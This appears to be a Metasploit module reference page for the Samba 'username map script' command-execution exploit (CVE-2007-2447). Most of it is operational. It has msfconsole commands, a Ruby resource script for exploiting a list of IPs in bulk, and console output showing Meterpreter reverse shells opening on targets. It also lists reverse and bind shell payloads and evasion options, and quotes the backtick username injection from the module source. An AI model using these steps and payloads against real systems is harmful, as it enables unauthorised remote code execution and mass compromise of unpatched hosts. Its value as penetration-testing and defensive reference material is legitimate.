Samba "username map script" Command Execution - Metasploit


This page contains detailed information about how to use the exploit/multi/samba/usermap_script metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Samba "username map script" Command Execution
Module: exploit/multi/samba/usermap_script
Source code: modules/exploits/multi/samba/usermap_script.rb
Disclosure date: 2007-05-14
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: microsoft-ds, netbios-ssn
Target network port(s): 139, 445
List of CVEs: CVE-2007-2447

This module exploits a command execution vulnerability in Samba versions 3.0.20 through 3.0.25rc3 when using the non-default "username map script" configuration option. By specifying a username containing shell meta characters, attackers can execute arbitrary commands. No authentication is needed to exploit this vulnerability since this option is used to map usernames prior to authentication!

Module Ranking and Traits

Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage

Using usermap_script against a single host

Normally, you can use exploit/multi/samba/usermap_script this way:

msf > use exploit/multi/samba/usermap_script
msf exploit(usermap_script) > show targets
    ... a list of targets ...
msf exploit(usermap_script) > set TARGET target-id
msf exploit(usermap_script) > show options
    ... show and set options ...
msf exploit(usermap_script) > exploit

Using usermap_script against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your usermap_script will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/multi/samba/usermap_script")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage

Here is how the multi/samba/usermap_script exploit module looks in the msfconsole:

msf6 > use exploit/multi/samba/usermap_script

[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > show info

       Name: Samba "username map script" Command Execution
     Module: exploit/multi/samba/usermap_script
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2007-05-14

Provided by:
  jduck <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   139              yes       The target port (TCP)

Payload information:
  Space: 1024

Description:
  This module exploits a command execution vulnerability in Samba 
  versions 3.0.20 through 3.0.25rc3 when using the non-default 
  "username map script" configuration option. By specifying a username 
  containing shell meta characters, attackers can execute arbitrary 
  commands. No authentication is needed to exploit this vulnerability 
  since this option is used to map usernames prior to authentication!

References:
  https://nvd.nist.gov/vuln/detail/CVE-2007-2447
  OSVDB (34700)
  http://www.securityfocus.com/bid/23972
  http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534
  http://samba.org/samba/security/CVE-2007-2447.html

Module Options

This is a complete list of options available in the multi/samba/usermap_script exploit:

msf6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   139              yes       The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options

Here is a complete list of advanced options supported by the multi/samba/usermap_script exploit:

msf6 exploit(multi/samba/usermap_script) > show advanced

Module advanced options (exploit/multi/samba/usermap_script):

   Name                    Current Setting    Required  Description
   ----                    ---------------    --------  -----------
   CHOST                                      no        The local client address
   CPORT                                      no        The local client port
   ConnectTimeout          10                 yes       Maximum number of seconds to establish a TCP connection
   ContextInformationFile                     no        The information file that contains context information
   DisablePayloadHandler   false              no        Disable the handler code for the selected payload
   EnableContextEncoding   false              no        Use transient context when encoding payloads
   NTLM::SendLM            true               yes       Always send the LANMAN response (except when NTLMv2_session is specified)
   NTLM::SendNTLM          true               yes       Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses
   NTLM::SendSPN           true               yes       Send an avp of type SPN in the ntlmv2 client blob, this allows authentication on Windows 7+/Server 2008 R2+ when SPN is required
   NTLM::UseLMKey          false              yes       Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent
   NTLM::UseNTLM2_session  true               yes       Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session
   NTLM::UseNTLMv2         true               yes       Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true
   Proxies                                    no        A proxy chain of format type:host:port[,type:host:port][...]
   SMB::AlwaysEncrypt      true               yes       Enforces encryption even if the server does not require it (SMB3.x only). Note that when it is set to false, the SMB client will still encrypt the communication if the server requires it
   SMB::ChunkSize          500                yes       The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing
   SMB::Native_LM          Windows 2000 5.0   yes       The Native LM to send during authentication
   SMB::Native_OS          Windows 2000 2195  yes       The Native OS to send during authentication
   SMB::VerifySignature    false              yes       Enforces client-side verification of server response signatures
   SMBDirect               true               no        The target port is a raw SMB service (not NetBIOS)
   SMBDomain               .                  no        The Windows domain to use for authentication
   SMBName                 *SMBSERVER         yes       The NetBIOS hostname (required for port 139 connections)
   SMBPass                                    no        The password for the specified username
   SMBUser                                    no        The username to authenticate as
   SSL                     false              no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                                  no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode           PEER               no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion              Auto               yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE                 false              no        Enable detailed status messages
   WORKSPACE                                  no        Specify the workspace for this module
   WfsDelay                2                  no        Additional delay in seconds to wait for a session

Payload advanced options (cmd/unix/reverse_netcat):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the multi/samba/usermap_script module can exploit:

msf6 exploit(multi/samba/usermap_script) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the multi/samba/usermap_script exploit:

msf6 exploit(multi/samba/usermap_script) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_awk                                    normal  No     Unix Command Shell, Bind TCP (via AWK)
   1   payload/cmd/unix/bind_busybox_telnetd                        normal  No     Unix Command Shell, Bind TCP (via BusyBox telnetd)
   2   payload/cmd/unix/bind_inetd                                  normal  No     Unix Command Shell, Bind TCP (inetd)
   3   payload/cmd/unix/bind_jjs                                    normal  No     Unix Command Shell, Bind TCP (via jjs)
   4   payload/cmd/unix/bind_lua                                    normal  No     Unix Command Shell, Bind TCP (via Lua)
   5   payload/cmd/unix/bind_netcat                                 normal  No     Unix Command Shell, Bind TCP (via netcat)
   6   payload/cmd/unix/bind_netcat_gaping                          normal  No     Unix Command Shell, Bind TCP (via netcat -e)
   7   payload/cmd/unix/bind_netcat_gaping_ipv6                     normal  No     Unix Command Shell, Bind TCP (via netcat -e) IPv6
   8   payload/cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   9   payload/cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   10  payload/cmd/unix/bind_r                                      normal  No     Unix Command Shell, Bind TCP (via R)
   11  payload/cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   12  payload/cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   13  payload/cmd/unix/bind_socat_udp                              normal  No     Unix Command Shell, Bind UDP (via socat)
   14  payload/cmd/unix/bind_zsh                                    normal  No     Unix Command Shell, Bind TCP (via Zsh)
   15  payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   16  payload/cmd/unix/pingback_bind                               normal  No     Unix Command Shell, Pingback Bind TCP (via netcat)
   17  payload/cmd/unix/pingback_reverse                            normal  No     Unix Command Shell, Pingback Reverse TCP (via netcat)
   18  payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   19  payload/cmd/unix/reverse_awk                                 normal  No     Unix Command Shell, Reverse TCP (via AWK)
   20  payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   21  payload/cmd/unix/reverse_jjs                                 normal  No     Unix Command Shell, Reverse TCP (via jjs)
   22  payload/cmd/unix/reverse_ksh                                 normal  No     Unix Command Shell, Reverse TCP (via Ksh)
   23  payload/cmd/unix/reverse_lua                                 normal  No     Unix Command Shell, Reverse TCP (via Lua)
   24  payload/cmd/unix/reverse_ncat_ssl                            normal  No     Unix Command Shell, Reverse TCP (via ncat)
   25  payload/cmd/unix/reverse_netcat                              normal  No     Unix Command Shell, Reverse TCP (via netcat)
   26  payload/cmd/unix/reverse_netcat_gaping                       normal  No     Unix Command Shell, Reverse TCP (via netcat -e)
   27  payload/cmd/unix/reverse_openssl                             normal  No     Unix Command Shell, Double Reverse TCP SSL (openssl)
   28  payload/cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   29  payload/cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   30  payload/cmd/unix/reverse_php_ssl                             normal  No     Unix Command Shell, Reverse TCP SSL (via php)
   31  payload/cmd/unix/reverse_python                              normal  No     Unix Command Shell, Reverse TCP (via Python)
   32  payload/cmd/unix/reverse_python_ssl                          normal  No     Unix Command Shell, Reverse TCP SSL (via python)
   33  payload/cmd/unix/reverse_r                                   normal  No     Unix Command Shell, Reverse TCP (via R)
   34  payload/cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   35  payload/cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   36  payload/cmd/unix/reverse_socat_udp                           normal  No     Unix Command Shell, Reverse UDP (via socat)
   37  payload/cmd/unix/reverse_ssh                                 normal  No     Unix Command Shell, Reverse TCP SSH
   38  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)
   39  payload/cmd/unix/reverse_tclsh                               normal  No     Unix Command Shell, Reverse TCP (via Tclsh)
   40  payload/cmd/unix/reverse_zsh                                 normal  No     Unix Command Shell, Reverse TCP (via Zsh)

Evasion Options

Here is the full list of possible evasion options supported by the multi/samba/usermap_script exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/samba/usermap_script) > show evasion

Module evasion options:

   Name                           Current Setting  Required  Description
   ----                           ---------------  --------  -----------
   SMB::obscure_trans_pipe_level  0                yes       Obscure PIPE string in TransNamedPipe (level 0-3)
   SMB::pad_data_level            0                yes       Place extra padding between headers and data (level 0-3)
   SMB::pad_file_level            0                yes       Obscure path names used in open/create (level 0-3)
   SMB::pipe_evasion              false            yes       Enable segmented read/writes for SMB Pipes
   SMB::pipe_read_max_size        1024             yes       Maximum buffer size for pipe reads
   SMB::pipe_read_min_size        1                yes       Minimum buffer size for pipe reads
   SMB::pipe_write_max_size       1024             yes       Maximum buffer size for pipe writes
   SMB::pipe_write_min_size       1                yes       Minimum buffer size for pipe writes
   TCP::max_send_size             0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay                0                no        Delays inserted before every send.  (0 = disable)

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Use Rex client (SMB1 only) since this module is not compatible with RubySMB client

Here is a relevant code snippet related to the "Use Rex client (SMB1 only) since this module is not compatible with RubySMB client" error message:

65:	  end
66:	
67:	
68:	  def exploit
69:	
70:	    vprint_status('Use Rex client (SMB1 only) since this module is not compatible with RubySMB client')
71:	    connect(versions: [1])
72:	
73:	    # lol?
74:	    username = "/=`nohup " + payload.encoded + "`"
75:	    begin

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References

See Also

Check also the following modules related to this module:

Related Nessus plugins:

Authors

  • jduck

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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